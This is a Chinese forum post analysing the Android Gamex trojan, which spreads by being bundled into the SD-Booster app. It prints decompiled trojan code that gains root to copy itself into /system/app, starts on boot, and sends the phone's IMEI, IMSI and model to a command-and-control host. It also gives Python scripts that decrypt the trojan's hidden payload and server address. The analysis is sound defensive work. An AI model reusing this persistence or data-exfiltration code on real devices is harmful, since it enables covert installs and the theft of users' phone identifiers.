首页
社区
课程
招聘
Android Gamex 木马分析报告
发表于: 2013-11-21 13:11 786

Android Gamex 木马分析报告

2013-11-21 13:11
786
作者:非虫
5 月刚开始就弄到了这个 Gamex 木马样本,该样本破坏性不大,不过对于安全分析人员来说,这可是很好
的研究素材,今天我就将这个样本的完整分析过程拿来与大家分享。
工具
ApkTool、dex2jar、DJ Java Decompiler 分析必备
python2.6 编写解密脚本
分析
这个样本通过捆绑软件 SD-Booster 来达到感染的目的,在安装运行被感染的 SD-Booster 时,木马就会自动
安装进 Android 系统,为了尽快找到感染部分,下载未感染的 SD-Booster 进行反编译对比,结果如图 1 所示:

图 1
程序被植入了“com.android.md5”与“com.gamex.inset”两个包,首先找到植入程序的加载处,在 SDBoost
类的 onCreate()方法中插入了如下代码:
public void onCreate(Bundle paramBundle) {
     super.onCreate(paramBundle);
A.b(this);


A 是“com.gamex.inset”包中的类,A.b()方法代码如下:
public static void b(Context paramContext)
   {
     context = paramContext;
Intent localIntent = new Intent(paramContext, Settings.class);
ComponentName localComponentName = paramContext.startService(localIntent);
   }
直接启动的是 Settings.class 服务,这个服务很简单,启动代码是这样的:
public void onStart(Intent paramIntent, int paramInt)
   {     super.onStart(paramIntent, paramInt);
new Settings.1(this).start();
   }
class Settings$1 extends Thread
{
   public void run()
{
     if ((!A.a) && (A.c()) && (A.d(A.context)))
{
       A.a = 1;
Settings localSettings = this.this$0;
new C(localSettings).start();
     }
while (true)
{
       return;
this.this$0.stopSelf();
     }
   }
}
A.a初始化为0,用来判断木马是否已经运行,A.c()只有一行代码判断SD卡是否已经准备好,为后面的病毒下载
做准备,A.d()判断木马程序“com.android.setting”是否已经安装,如果没有安装且满足上面的条件就启动C线程
来安装木马,C类的run()方法在Dex2jar中显示不了,在DJ Java Decompiler中可以看到完整的反编译的代码,线程
通过context.getAssets().open("logos.png")读取木马文件,然后通过解密运算得到最终的apk安装文件,
解密代码我用python实现如下:
# -*- coding:utf-8 -*-
import sys
def main(filename):
    infile = file(filename,"rb
outfile = file(filename[:-4]+".
")
apk","wb
    while 1:
")
        c = infile.read(1)
        if not c:
            break
        c = chr(ord(c) ^ 18)
        outfile.write(c)
    outfile.close()
infile.close()
if __name__ == '__main__':   
main(sys.argv[1])
解密只是将整个文件与0x12异或而以,运行“python decrypt_apk.py logos.png”就会生成
logos.apk木马文件。在上一步的解密完成后,调用了a(String)方法来安装木马,代码如下:
protected static void a(String paramString)
  {
try
{
      Process localProcess = Runtime.getRuntime().exec("su");
OutputStream localOutputStream = localProcess.getOutputStream();      DataOutputStream localDataOutputStream = new
DataOutputStream(localOutputStream);
localDataOutputStream.writeBytes("mount -o remount rw /system \n");
      String str = "cp -i " + paramString + " /system/app/ComAndroidSetting.apk\n";
      localDataOutputStream.writeBytes(str);
Thread.sleep(20000L);
localDataOutputStream.writeBytes("chmod 644
/system/app/ComAndroidSetting.apk\n");
      localDataOutputStream.writeBytes("exit\n");
      localDataOutputStream.flush();
int i = localProcess.waitFor();
return;
    }
catch (IOException localIOException)
{
      while (true)
        localIOException.printStackTrace();
   }
    catch (InterruptedException localInterruptedException)
{
      while (true)
        localInterruptedException.printStackTrace();
    }
  }
邪恶的代码将整个程序复制到了“/system/app/”目录下,使其成为系统程序!在安装完成后运行如下
代码来发送广播与停止Settings服务:
         ntent intent = new Intent("kurhjfngjhfjghdfjgjjdh");
         context.sendBroadcast(intent);
Intent intent1 = new Intent(context, com/android/md5/Settings);
         boolean flag3 = context1.stopService(intent1);
这个奇怪字符串的广播是用来被木马接收的,到这里捆绑部分的工作做完了,下面是木马真身上场了,将刚才解密出的logos.apk解包,使用dex2jar该干啥干啥后,查看“AndroidManifest.xml”文件发现木马没
有界面,并且通过两个开机广播来运行的,如图2所示:

图 2
这也验证了SDBoost发送奇怪字符串广播的分析,看第一个广播接收者代码如下:
public class B extends BroadcastReceiver
{
   public static final String q = "android.intent.action.BOOT_COMPLETED";
public static final String qx = "kurhjfngjhfjghdfjgjjdh";
public void onReceive(Context paramContext, Intent paramIntent)   {
     if ((paramIntent.getAction().equals("android.intent.action.BOOT_COMPLETED")) ||
(paramIntent.getAction().equals("kurhjfngjhfjghdfjgjjdh")))
       A.b(paramContext);
   }
}
这个A.b()方法启动了Settings.class服务,这个服务里面启动了一个线程,可以找到前面分析线程的类似框架
代码如下:
public void run()
   {
     try
{
       this.this$0.d();
sleep(30000L);
if ((!A.a) && (A.c()) && (A.d(this.this$0)))
{
        A.a = 1;
         Settings localSettings1 = this.this$0;
new E(localSettings1).start();
return;
       }
     }
catch (InterruptedException localInterruptedException)
{
       …
     }
   }
d()负责解码C&C(Control & Command)服务器地址并发送手机的隐私信息,解码代码为Settings的getUrl()
方法,使用python解码实现为:
# -*- coding:utf-8 -*-
import sys
def decrypt2url(decryptedfile):
    f = file(decryptedfile,"r")
    buf = f.read()
bs = map(ord, buf) #将字节流存储为10进制的list
    sizz = len(bs)
for i in range(0, sizz, 2):  #后面的字与前面的字交换存储
        if i >= sizz / 2 : break
        d = bs[i]
bs[i] = bs[sizz - 1 - i]
        bs[sizz - 1 - i] = d
    ss = ''.join(map(chr,bs))
    bs2 = ss.split(',') #用逗号分隔开
    bss = list(bs2)
sout = ''
for i in range(0, len(bss), 2):
        sout = sout + chr(int(bss[i]))
    print sout
    def main(filename):
    PASS = ''.join(chr(x) for x in [9, 5, 9, 8, 5]) #这个是解密的原子
    infile = file(filename,"rb
outfile = file(filename[:-4]+".
")
txt","wb
    i = 0
")
    while 1:
        c = infile.read(1)
        if not c:
            break
        j = i % 5
d = PASS[j]
c = chr(ord(c) ^ ord(d))
i = i + 1
outfile.write(c)
    outfile.close()
infile.close()
decrypt2url(filename[:-4]+".txt
   
")
if __name__ == '__main__':   
    main(sys.argv[1])
这段解密脚本首先将“logo.png”文件的每个字节与[9, 5, 9, 8, 5]解密原子进行异或,解出来后的
内容如图3所示:

图 3
得到这个字符串后,将字符串首尾倒序排列一次,排列完毕后的每一个逗号分隔的数字为一个字母的ASCII
码,然后取这些ASCII的偶数位得到最终的URL地址,另外,为了照顾使用JAVA的同学,解密代码我也用JAVA
实现了一份,在附件中一起打包了,解密出的结果如图4所示:

​这个网址直接访问是提示禁止的,在d()方法中,将getDeviceId()、getSubscriberId(),Build.MODEL,
getApplicationInfo(str3, 128).metaData.getString("CMP_PID") 的 结 果 与 其 它 字 符 组 合 得 到 最 终 的 网 址 为
“http://www.fineandroid.com/inputex/index.php?s=/Interface/keinter/a1/DeviceId/a2/SubscriberId/a3/MODEL/i
ndex/xian1234”,最后调用b(String)方法启动一个线程将信息发送出去,代码如下:
public void run()
   {
     …
HttpGet localHttpGet = new HttpGet(str);
try
{
       HttpResponse localHttpResponse = new DefaultHttpClient().execute(localHttpGet);
if ((localHttpResponse.getStatusLine().getStatusCode() == 200) &&
(EntityUtils.toString(localHttpResponse.getEntity()).equals("1")))
{
         SharedPreferences.Editor localEditor1 = this.this$0.getSharedPreferences("tijiao", 0).edit();
         SharedPreferences.Editor localEditor2 = localEditor1.putInt("biaoji", 1);
         boolean bool = localEditor1.commit();
       }
return;
     }
catch (ClientProtocolException localClientProtocolException)
{
       …
     }
      …
   }
如果提交成功就保存到SharedPerferences中,我们构造字符串手动访问如图5所示:

图 5
继续回到刚才Settings.1线程,在做完这些工作后,又开始判断了,A.a判断木马是否已经运行,A.c()判断SD
卡是否已经准备到位,A.d(Context)判断是否有安装“com.android.update”木马程序,如果没有安装且上面的条
件满足,就开启一个E线程做工作,E线程启动就注册了两只广播接收者“android.intent.action.PACKAGE_ADDED”
与“android.intent.action.PACKAGE_CHANGED”,广播接收为收到“Intent("akjgikurhnfjghfkj")”广播后就启动
Settings.class服务,在完成这一步后,线程运行,解码出“com.android.update”木马程序,方法与上面
“com.android.setting”代码是一样的,可以用前面的“decrypt_apk.py”脚本解密得出木马APK文件,解出来后
调用a()方法来安装“com.android.update”木马。到这里,由B类开机广播接收者引发的木马安装与信息发送到
这里就完了,看看另一个D类的开机广播接收者的代码,它的代码很简单,收到广播后,获取木马的包名,然后
在a()方法中调用“pm install -r”来重新安装木马,这个“com.android.setting”木马就分析到这里,下面看看
“com.android.update”。这也是Gamex木马的最核心部分,
这个“com.android.update”木马核心的启动由开机广播完成的,如图6所示:

图 6
广播接收者的代码如下:public class B extends BroadcastReceiver
{
   public static final String a = "akjgikurhnfjghfkj";
public static final String q = "android.intent.action.BOOT_COMPLETED";
public void onReceive(Context paramContext, Intent paramIntent)
{
     if ((paramIntent.getAction().equals("android.intent.action.BOOT_COMPLETED")) ||
(paramIntent.getAction().equals("akjgikurhnfjghfkj")))
       A.boot(paramContext);
   }
}
在收到广播后,调用A类boot()方法启动了Updater.class服务,这个服务生了四个类来完成所有的木马工作,
代码为:
public void onStart(Intent paramIntent, int paramInt)
   {
     super.onStart(paramIntent, paramInt);
D localD = new D(this);
this.activityThread = localD;
F localF = new F(this);
this.getSoftThread = localF;
G localG = new G(this);
this.downSoftThread = localG;
H localH = new H(this);
this.installSoftThread = localH;
   }
四个对象分工明确,我们慢慢来分析,第一个对象D为“卫兵”对象,负责“通风报信”的工作,在对象构造时注册了广播接收者D.1分别监听“"android.intent.action.SCREEN_OFF”与“android.intent.action.SCREEN_ON”,
当后者被触发时就启动HOME进行来隐藏自己,前者被触发时就默默的收集用户安装的软件信息,步骤为D.1首
先调用D对象M成员的d()方法来查询已经安装而没有运行的木马软件,M成员为D对象中的数据库查询操作对象,
在D对象初始化的时候创建,接着调用D.f()方法获取正在运行的软件,并与M.d()方法返回的列表进行比较,
如果找到未运行的程序,localPackageManager.getLaunchIntentForPackage(String)来获取Activity名称,并调用
paramContext.startActivity(localIntent1)启动该程序,再调用M.j(String)方法来更新软件运行状态数据库,最后调用
D.n(String)方法往C&C服务器发送信息,代码如下:
public void n(String paramString)
   {
     String str1 = ((TelephonyManager)this.g.getSystemService("phone")).getDeviceId(); //获取IMEI
     if (str1 == null)
       str1 = "";
     String str2 = String.valueOf(j());
     String str3 = String.valueOf(str2 + "inputex/index.php?s=/Interface/neiinter/a1/");
String str4 = str3 + str1 + "/nam/" + paramString;
j(str4);
   }
j()方法用来解密Assets目录下的"icon.png"文件来获取C&C地址,依旧可以使用decrypt_url.py来解密,解密后
的地址仍然是“http://www.fineandroid.com/”,组合生成URL后调用j(String)发送出去,方法与“com.android.android”
是一样的,到这里,D对象就算了解了,下一个是F对象。F对象也很简单,它读取木马服务器上的木马列表,并
将列表写入本地数据库中供木马查询,F.k()解得地址为“http://fineandroid.com/InstallApk/php4sam.php”,直接
访问如图7所示:

图 7
这个木马作者是中国人,有没有?整个html内容的解读是由J.a(InputStream)完成的,这里限于篇幅就不帖出
来了,最后得到的List数据是通过M.g(String,…)插入数据库的,在保存前调用了F.e(String)进行了简单的加密,我
就不分析了,看看第三个G类,它负责木马的下载工作,核心的方法为loop(),首先调用M.C()检查没有下载的木
马软件,如果有软件没有下载,就检查是否在WIFI环境下,如果条件都满足就new了一个P对象,后者调用
K.d(String,…)开始下载,下载完成后调用M.h()设置木马的下载状态,这些工作都做完后让线程进入睡眠状态,
WIFI状态下休息1分钟,非WIFI状态下休息5个小时。相应的代码如下:
protected void loop()
   {
     NetworkInfo localNetworkInfo =
((ConnectivityManager)this.e.getSystemService("connectivity")).getActiveNetworkInfo();
List localList;
if ((localNetworkInfo != null) && (localNetworkInfo.isAvailable()) && (!this.d))
     {
       localList = this.h.c();
if (localList.size() == 0)
         setSleepTime(60000L);  //如果没有软件要下载,就休息1分钟
     }
while (true)
{
       return;
if (localNetworkInfo.getTypeName().equals("WIFI")) //是否在WIFI网络状态下
       {
         localIterator = localList.iterator();
         if (!localIterator.hasNext())
           continue;
         …
Handler localHandler1 = this.f;
new P(localContext1, str1, str2, "download/", str3, localHandler1).start(); //开始下载         this.d = 1;
setSleepTime(60000L);  //下载完就休息1分钟
         continue;
       }

new P(localContext2, str4, str5, "download/", str6, localHandler2).start();//开始下载
this.d = 1;
setSleepTime(18000000L); //休息5小时
       …
     }
   }
最后的H类是安装类,它没有做实质性的工作,只是隔一段时间发一生广播并更新一下已下载的木马软件状
态到数据库中。到这里,整个Gamex木马就分析完了。
总结
通过对 Gamex 木马的分析,我们看到其中用到了代码捆绑、软件静默安装、URL 提交与响应、开机广播,
文件加解密等大量的代码,这些代码在 Android 程序员日常编码过程中是常见的,只有掌握好 Android 基础,把
握程序的分析思路才能将 Android 木马看的通透。最后补上一张 Gamex 的流程图,方便大家理解


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//